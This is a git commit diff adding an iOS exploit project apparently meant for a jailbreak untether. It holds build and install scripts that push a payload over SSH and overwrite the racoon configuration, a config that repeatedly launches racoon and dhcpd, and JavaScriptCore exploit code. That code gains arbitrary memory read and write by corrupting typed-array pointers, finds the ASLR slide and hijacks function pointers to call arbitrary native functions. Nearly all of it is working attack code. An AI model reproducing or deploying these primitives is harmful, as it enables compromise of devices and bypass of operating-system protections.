summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitignore10
-rwxr-xr-xbuild.sh35
-rw-r--r--ent.xml8
-rw-r--r--exp.js675
-rwxr-xr-xexploit.conf22
-rwxr-xr-xinstall.sh12
-rw-r--r--js/call.js47
-rw-r--r--js/int64.js169
-rw-r--r--js/libu8.js56
-rw-r--r--js/main.js71
-rw-r--r--js/mem.js147
-rw-r--r--js/str.js105
-rw-r--r--js/utils.js78
-rwxr-xr-xsrc/common.h15
-rwxr-xr-xsrc/ip_tools.c24
-rwxr-xr-xsrc/ip_tools.h8
-rw-r--r--src/main.c497
-rw-r--r--src/patchfinder.c805
-rwxr-xr-xsrc/patchfinder.h14
-rw-r--r--src/shit.c32
-rw-r--r--src/shit.h6
-rwxr-xr-xsrc/stage0_primitives.c46
-rwxr-xr-xsrc/stage0_primitives.h10
-rwxr-xr-xsrc/stage1_primitives.c168
-rwxr-xr-xsrc/stage1_primitives.h19
-rw-r--r--src/stage2.c400
-rw-r--r--src/stage2.h40
-rwxr-xr-xtools/build.sh8
-rwxr-xr-xtools/ent.xml15
-rw-r--r--tools/envdump.c17
-rw-r--r--tools/envrun.c25
-rwxr-xr-xtools/fuck_aslr.c114
-rw-r--r--tools/fuck_aslr2.c86
-rwxr-xr-xtools/fuck_ptr.c60
-rwxr-xr-xtools/jit_all_the_things.c11
-rwxr-xr-xtools/jsc_funbin0 -> 51824 bytes
-rw-r--r--tools/lol.js15
-rwxr-xr-xtools/test.c61
38 files changed, 3931 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..b447808
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,10 @@
+bin
+*/bin
+**/bin
+
+bin/*
+*/bin/*
+**/bin/*
+
+usedbins
+usedbins/* \ No newline at end of file
diff --git a/build.sh b/build.sh
new file mode 100755
index 0000000..03fbe43
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,35 @@
+#!/bin/bash
+
+cat js/*.js > exp.js
+echo >> exp.js
+echo "main();" >> exp.js
+
+# build for host
+clang -I $(pwd)/inc/ \
+ src/main.c \
+ src/ip_tools.c \
+ src/stage0_primitives.c \
+ src/stage1_primitives.c \
+ src/patchfinder.c \
+ src/stage2.c \
+ src/shit.c \
+ -o bin/main \
+ -D__WHOAMI__="\"$(whoami)\"" \
+ -D__PWD__="\"$(pwd)\"" \
+ -g
+
+# build armv7 (for untether install)
+xcrun -sdk iphoneos clang -arch armv7 src/main.c \
+ src/ip_tools.c \
+ src/stage0_primitives.c \
+ src/stage1_primitives.c \
+ src/patchfinder.c \
+ src/stage2.c \
+ src/shit.c \
+ -o bin/main_arm \
+ -D__WHOAMI__="\"$(whoami)\"" \
+ -D__PWD__="\"$(pwd)\"" \
+ -framework JavaScriptCore \
+ -g
+
+ldid -Sent.xml bin/main_arm \ No newline at end of file
diff --git a/ent.xml b/ent.xml
new file mode 100644
index 0000000..2821d0e
--- /dev/null
+++ b/ent.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>get-task-allow</key>
+ <true/>
+</dict>
+</plist> \ No newline at end of file
diff --git a/exp.js b/exp.js
new file mode 100644
index 0000000..ee2fea0
--- /dev/null
+++ b/exp.js
@@ -0,0 +1,675 @@
+var reserve_addr = 0x1a0000;
+var gettimeofday_addy = 0x34d63d3c;
+var slide = 0x0;
+var base = 0x0;
+
+function get_dyld_shc_slide() {
+ return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+ var dyld_shc_slide = get_dyld_shc_slide();
+ var tmp = read_u32(gettimeofday_addy + dyld_shc_slide);
+ write_u32(gettimeofday_addy + dyld_shc_slide, addy);
+ var d = new Date();
+ write_u32(gettimeofday_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+ var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+ /*
+ var arg2 = new Int64(r3);
+ arg1 = shiftInt64Left(arg1, 32);
+ arg1 = Add(arg1, r0);
+ arg2 = shiftInt64Left(arg2, 32);
+ arg2 = Add(arg2, r2);
+ */
+
+ arg1d = arg1.asDouble();
+ arg2d = arg2.asDouble();
+
+ delete arg1;
+ delete arg2;
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ tmp = read_u32(0x346afc84 + dyld_shc_slide);
+ write_u32(0x346afc84 + dyld_shc_slide, addy);
+ ret = Math.atan2(arg1d, arg2d);
+ write_u32(0x346afc84 + dyld_shc_slide, tmp);
+
+ delete tmp;
+ delete arg1d;
+ delete arg2d;
+
+ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
+//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+ // The underlying byte array.
+ var bytes = new Uint8Array(8);
+
+ switch (typeof v) {
+ case 'number':
+ v = '0x' + Math.floor(v).toString(16);
+ case 'string':
+ if (v.startsWith('0x'))
+ v = v.substr(2);
+ if (v.length % 2 == 1)
+ v = '0' + v;
+
+ var bigEndian = unhexlify(v, 8);
+ bytes.set(Array.from(bigEndian).reverse());
+ break;
+ case 'object':
+ if (v instanceof Int64) {
+ bytes.set(v.bytes());
+ } else {
+ if (v.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(v);
+ }
+ break;
+ case 'undefined':
+ break;
+ default:
+ throw TypeError("Int64 constructor requires an argument.");
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function() {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Integer can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function() {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+ throw new RangeError("Integer can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ this.assignSub(this, 0x1000000000000);
+ var res = Struct.unpack(Struct.float64, bytes);
+ this.assignAdd(this, 0x1000000000000);
+
+ return res;
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function() {
+ return Array.from(bytes);
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function(i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function() {
+ return '0x' + hexlify(Array.from(bytes).reverse());
+ };
+
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function() {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ for (var i = 0; i < arguments.length; i++)
+ if (!(arguments[i] instanceof Int64))
+ arguments[i] = new Int64(arguments[i]);
+ return f.apply(this, arguments);
+ };
+ }
+
+ // this = -n (two's complement)
+ this.assignNeg = operation(function neg(n) {
+ for (var i = 0; i < 8; i++)
+ bytes[i] = ~n.byteAt(i);
+
+ return this.assignAdd(this, Int64.One);
+ }, 1);
+
+ // this = a + b
+ this.assignAdd = operation(function add(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) + b.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a - b
+ this.assignSub = operation(function sub(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) - b.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a ^ b
+ this.assignXor = operation(function sub(a, b) {
+ for (var i = 0; i < 8; i++) {
+ bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+ }
+ return this;
+ }, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+ return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+ return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+ return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+ return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
+/*
+ * turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+ u8x4 = new Uint8Array(0x4);
+
+ val_ = val >>> 0;
+
+ u8x4[0] = ((val_ >> 0) & 0xff);
+ u8x4[1] = ((val_ >> 8) & 0xff);
+ u8x4[2] = ((val_ >> 16) & 0xff);
+ u8x4[3] = ((val_ >> 24) & 0xff);
+
+ return u8x4;
+}
+
+/*
+ * turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+ u8x2 = new Uint8Array(0x2);
+
+ val_ = val >>> 0;
+
+ u8x2[0] = ((val_ >> 0) & 0xff);
+ u8x2[1] = ((val_ >> 8) & 0xff);
+
+ return u8x2;
+}
+
+/*
+ * turn a little-endian 4 byte array into a uint32_t
+ */
+function u8x4_to_u32(buf) {
+ u32 = 0x0;
+
+ u32 += (buf[0] << 0);
+ u32 += (buf[1] << 8);
+ u32 += (buf[2] << 16);
+ u32 += (buf[3] << 24);
+
+ return u32 >>> 0;
+}
+
+/*
+ * turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+ u16 = 0x0;
+
+ u16 += (buf[0] << 0);
+ u16 += (buf[1] << 8);
+
+ return u16 >>> 0;
+
+}
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+ // call(0x41424344);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ write_u32(0x144444, 0x69691337);
+
+ log("writing to first mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("writing to second mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("survived both writes!");
+
+ child.a = parent;
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ write_str(0x148000, "get rekt from jsc\0");
+ write_str(0x149000, "syslog\0");
+ write_str(0x14a000, "sleep\0");
+ while (true) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
+ }
+/*
+ for (i = 0; i < 0x1000; i++) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
+ }*/
+
+// call(0x9ac54 + (slide << 12));
+// write_u32(0x1013b8, 0x41414141);
+// call(0x41414141);
+
+// call(0x56ab9 + (slide << 12));
+
+ log("still alive");
+};
+var VECTOR_OFFSET = 0x10;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
+
+
+function prim_dump_u32(buf) {
+ s = "";
+
+ for (var i = 0; i < buf.length; i += 4) {
+ tmp = [];
+
+ tmp.push(buf[i + 0]);
+ tmp.push(buf[i + 1]);
+ tmp.push(buf[i + 2]);
+ tmp.push(buf[i + 3]);
+
+ s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += ": ";
+ s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+ if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+ s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+ s += "\n";
+ val = read_u32(u8x4_to_u32(tmp));
+ if (val >= 0x1800000 && val < 0x1900000) {
+ buf = read_buf(val, 0x100);
+ s += (hexdump(buf, 8, 2, val, 8, "0x"));
+ }
+ }
+ s += "\n";
+ }
+
+ return s;
+}
+
+function pad_left(s, c, n) {
+ s_ = s;
+
+ if (s_.length < n) {
+ s_ = c.repeat(n - s_.length) + s_;
+ }
+
+ return s_;
+}
+
+function str_to_uint8_buf(s) {
+ buf = new Uint8Array(s.length);
+
+ for (i = 0; i < s.length; i++) {
+ buf[i] = s.charCodeAt(i);
+ }
+
+ return buf;
+}
+
+/*
+ * HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+ s = "";
+ if (buf.constructor != Uint8Array) {
+ buf = str_to_uint8_buf(buf);
+ }
+
+ for (i = 0; i < buf.length; i += (cols * col_split)) {
+ cur_base = base + i;
+ s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+ for (j = i; j < (i + (cols * col_split)); j += col_split) {
+ for (k = j; k < (j + col_split); k++) {
+ val = buf[k];
+ try {
+ s += pad_left(val.toString(16), "0", 2);
+ } catch (e) {
+ s += " ";
+ }
+ }
+ s += " ";
+ }
+
+ for (j = i; j < (i + (cols * col_split)); j++) {
+ val = buf[j];
+
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e; // period
+ }
+
+ chr = String.fromCharCode(val);
+ s += chr;
+ }
+
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * HEX SHIT
+ */
+function prim_hexdump(buf) {
+ s = "";
+
+ for (i = 0; i < buf.length; i++) {
+ val = buf[i];
+ s += pad_left(val.toString(16), "0", 2);
+ }
+
+ return s;
+}
+//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i+16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function(type, value) {
+ var view = type; // See below
+ view[0] = value;
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function(type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();
+
+main();
diff --git a/exploit.conf b/exploit.conf
new file mode 100755
index 0000000..8bf3bf1
--- /dev/null
+++ b/exploit.conf
@@ -0,0 +1,22 @@
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/sbin/racoon");
+execute("/usr/libexec/dhcpd", "-q", "-cf" ,"/var/root/exploit.conf");
diff --git a/install.sh b/install.sh
new file mode 100755
index 0000000..3dcfb9c
--- /dev/null
+++ b/install.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+ssh root@localhost -p 2222 "rm main_arm"
+
+scp -P 2222 bin/main_arm root@localhost:main_arm
+scp -P 2222 exp.js root@localhost:exp.js
+
+ssh root@localhost -p 2222 "./main_arm -f /usr/sbin/racoon -j exp.js -o racoon.conf; cp racoon.conf /etc/racoon/racoon.conf"
+#bin/main -f ~/racoon -j ../lol.js | ssh root@localhost -p 2222 "cat > /etc/racoon/racoon.conf"
+
+#bin/main -f ~/racoon | ssh root@192.168.1.6 "cat > racoon.conf"
+#bin/main -f ~/racoon | ssh root@192.168.1.6 "cat > /etc/racoon/racoon.conf"
diff --git a/js/call.js b/js/call.js
new file mode 100644
index 0000000..cc47e3b
--- /dev/null
+++ b/js/call.js
@@ -0,0 +1,47 @@
+var reserve_addr = 0x1a0000;
+var gettimeofday_addy = 0x34d63d3c;
+var slide = 0x0;
+var base = 0x0;
+
+function get_dyld_shc_slide() {
+ return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+ var dyld_shc_slide = get_dyld_shc_slide();
+ var tmp = read_u32(gettimeofday_addy + dyld_shc_slide);
+ write_u32(gettimeofday_addy + dyld_shc_slide, addy);
+ var d = new Date();
+ write_u32(gettimeofday_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+ var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+ /*
+ var arg2 = new Int64(r3);
+ arg1 = shiftInt64Left(arg1, 32);
+ arg1 = Add(arg1, r0);
+ arg2 = shiftInt64Left(arg2, 32);
+ arg2 = Add(arg2, r2);
+ */
+
+ arg1d = arg1.asDouble();
+ arg2d = arg2.asDouble();
+
+ delete arg1;
+ delete arg2;
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ tmp = read_u32(0x346afc84 + dyld_shc_slide);
+ write_u32(0x346afc84 + dyld_shc_slide, addy);
+ ret = Math.atan2(arg1d, arg2d);
+ write_u32(0x346afc84 + dyld_shc_slide, tmp);
+
+ delete tmp;
+ delete arg1d;
+ delete arg2d;
+
+ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
diff --git a/js/int64.js b/js/int64.js
new file mode 100644
index 0000000..5df1216
--- /dev/null
+++ b/js/int64.js
@@ -0,0 +1,169 @@
+//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+ // The underlying byte array.
+ var bytes = new Uint8Array(8);
+
+ switch (typeof v) {
+ case 'number':
+ v = '0x' + Math.floor(v).toString(16);
+ case 'string':
+ if (v.startsWith('0x'))
+ v = v.substr(2);
+ if (v.length % 2 == 1)
+ v = '0' + v;
+
+ var bigEndian = unhexlify(v, 8);
+ bytes.set(Array.from(bigEndian).reverse());
+ break;
+ case 'object':
+ if (v instanceof Int64) {
+ bytes.set(v.bytes());
+ } else {
+ if (v.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(v);
+ }
+ break;
+ case 'undefined':
+ break;
+ default:
+ throw TypeError("Int64 constructor requires an argument.");
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function() {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Integer can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function() {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+ throw new RangeError("Integer can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ this.assignSub(this, 0x1000000000000);
+ var res = Struct.unpack(Struct.float64, bytes);
+ this.assignAdd(this, 0x1000000000000);
+
+ return res;
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function() {
+ return Array.from(bytes);
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function(i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function() {
+ return '0x' + hexlify(Array.from(bytes).reverse());
+ };
+
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function() {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ for (var i = 0; i < arguments.length; i++)
+ if (!(arguments[i] instanceof Int64))
+ arguments[i] = new Int64(arguments[i]);
+ return f.apply(this, arguments);
+ };
+ }
+
+ // this = -n (two's complement)
+ this.assignNeg = operation(function neg(n) {
+ for (var i = 0; i < 8; i++)
+ bytes[i] = ~n.byteAt(i);
+
+ return this.assignAdd(this, Int64.One);
+ }, 1);
+
+ // this = a + b
+ this.assignAdd = operation(function add(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) + b.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a - b
+ this.assignSub = operation(function sub(a, b) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = a.byteAt(i) - b.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 2);
+
+ // this = a ^ b
+ this.assignXor = operation(function sub(a, b) {
+ for (var i = 0; i < 8; i++) {
+ bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+ }
+ return this;
+ }, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+ return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+ return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+ return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+ return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
diff --git a/js/libu8.js b/js/libu8.js
new file mode 100644
index 0000000..fb0b46a
--- /dev/null
+++ b/js/libu8.js
@@ -0,0 +1,56 @@
+/*
+ * turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+ u8x4 = new Uint8Array(0x4);
+
+ val_ = val >>> 0;
+
+ u8x4[0] = ((val_ >> 0) & 0xff);
+ u8x4[1] = ((val_ >> 8) & 0xff);
+ u8x4[2] = ((val_ >> 16) & 0xff);
+ u8x4[3] = ((val_ >> 24) & 0xff);
+
+ return u8x4;
+}
+
+/*
+ * turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+ u8x2 = new Uint8Array(0x2);
+
+ val_ = val >>> 0;
+
+ u8x2[0] = ((val_ >> 0) & 0xff);
+ u8x2[1] = ((val_ >> 8) & 0xff);
+
+ return u8x2;
+}
+
+/*
+ * turn a little-endian 4 byte array into a uint32_t
+ */
